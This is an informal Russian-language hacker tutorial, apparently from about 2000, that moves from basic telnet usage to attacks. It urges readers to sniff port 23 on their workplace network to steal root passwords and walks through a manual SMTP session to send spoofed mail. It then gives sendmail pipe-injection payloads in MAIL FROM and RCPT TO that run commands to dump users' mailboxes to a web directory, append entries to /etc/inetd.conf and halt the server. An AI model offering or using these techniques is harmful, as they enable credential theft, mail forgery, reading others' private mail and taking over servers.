Часть первая. Хочу но не могу.
Зачастую меня спрашивают, "Как типа телнет поюзать?" Гммм, ну начнем с того что "телнет" в привычном понимании - это всего лишь терминал, который позволяет несчастному юзеру стать клиентом какого-нибудь сервиса завязанного на TCP/IP. Соответственно, для начала нужно определиться, куда нам нужно и нужно ли нам это... Часто задаваемый вопрос номер два, а где мне взять телнет клиента(терминал)? Ну большинство начинающих странников (от слова странный) даже не догадываются о том, что телнет клиент уже стоит на машине) вызовите командную строку дос и наберите там telnet (при условии, что вы уже подключены в сеть). Добрый windows порадует вас на редкость кривым клиентом, не имеющим возможности настройки типа терминала.Гораздо более приятно пользоваться универсальным клиентом SecureCRT (http://www.vandyke.com).Если у тебя стоит Linux или BSD ,то ты уже достиг могущества и тебе осталось в X`ах вызвать консоль и набрать telnet.
Коннект производится так:
telnet hostname/IP port
Где hostname/IP - имя хоста/IP на который ты решил повеситься, port - номер порта, через который ты собрался иметь удаленную систему. Часть Вторая. Безвозвратно погибшее прошлое.
Итак для чего изачально был нужен этот чудо терминал? Для коннекта на порт 23, который использует UNIX telnetd, то бишь телнетный демон. В результате, после ввода имени пользователя и пароля ты вываливаешся прямо в shell и можешь управлять (с правами назначенными тебе админом) удаленной машиной так же, как будто ты сидишь непосредственно за ней. Но в сем сервисе было столько багов, что умные люди его давно пофиксили и перешли на SSH. Основная проблема в том, что юзер, нюхающий траффик в локалке по 23 порту может без проблем прочитать админовские login&password (никакого шифрования) сплошной plain text. БРРРРРР. Но если ты, находясь в локальной сети своей организации, набрал telnet servername и увидел нечто типа:
Linux RedHat 6.0
login
Значит ты теперь можешь смело включать сниффер на 23 порт и ловить пакетики. Ну за один рабочий день ты наверняка получишь рутовый логин и пароль.
Часть Третья. SendMail зачастую все еще дыряв.
Гммм. Ну нафига нам сперся 23 порт? Попробуем поиметь через 25, то бишь sendmail.
Выглядит это примерно так:
telnet hostname 25
Trying 194.68.13.231...
Connected to gwx3.host.ru.
Escape character is '^]'.
220 gwx3.host.ru ESMTP Sendmail 8.9.3/8.9.3; Tue, 1 Aug 2000 08:54:59 +0400
УРА ты повесился напрямую на 25 порт что дальше? Дальше поздороваемся:
HELO domainname.com
(кстати имя домена может быть любое, но желательно реально существующее к примеру YAHOO.COM)
далее пишем от кого письмо:
mail from : billgates@microsoft.com - вот тебе и анонимность ....)))
теперь кому:
rcpt to : username
username - имя юзера которому шлем мыло, root - есть всегда)))))
ну теперь сама мессага:
data - жмем Enter
здесь печатаем текст.
для того чтобы закончить послание ставим .(точку) и жмем Enter
quit - валим отсюда))
ВСЕ!!! мы только что отправили вполне анонимное мыло без всяких там клиентов)))
Радость в том ,что , зачастую, в sendmail есть следующие баги:
1. mail from : sendername|any_command_as_U_want - возможность выполнения любой UNIX команды
rcpt to : username|any_command_as_U_want - возможность выполнения любой UNIX команды
2. rcpt to : /any_directory/any_filename - возможность направить мессагу напрямую в файл)))
Один гражданин ,назвавший себя VIRUSMAN недавно прислал письмо где был следующий вопрос:
"А что мне это дает?" Ну что я могу сказать .........
В первом случае можно сделать нечто типа:
/bin/ls /var/spool/mail>/home/httpd/html/users_info.txt - получаем список почтовых юзерей
/bin/cat /var/spool/mail/username>/home/httpd/html/user_box.txt - получаем контент ящика юзера.
/bin/echo any_commands_here>>/etc/inetd.conf - добавляем произвольные команды в конец инет демона)).
/sbin/halt - паркуем сервак))) и т.д....
Во втором случае ...)))
Ну попробуй подумать, пиши что хочешь и куда хочешь))) Можно дописать произвольные команды скажем в /etc/inetd.conf ... все зависит от твоей фантазии.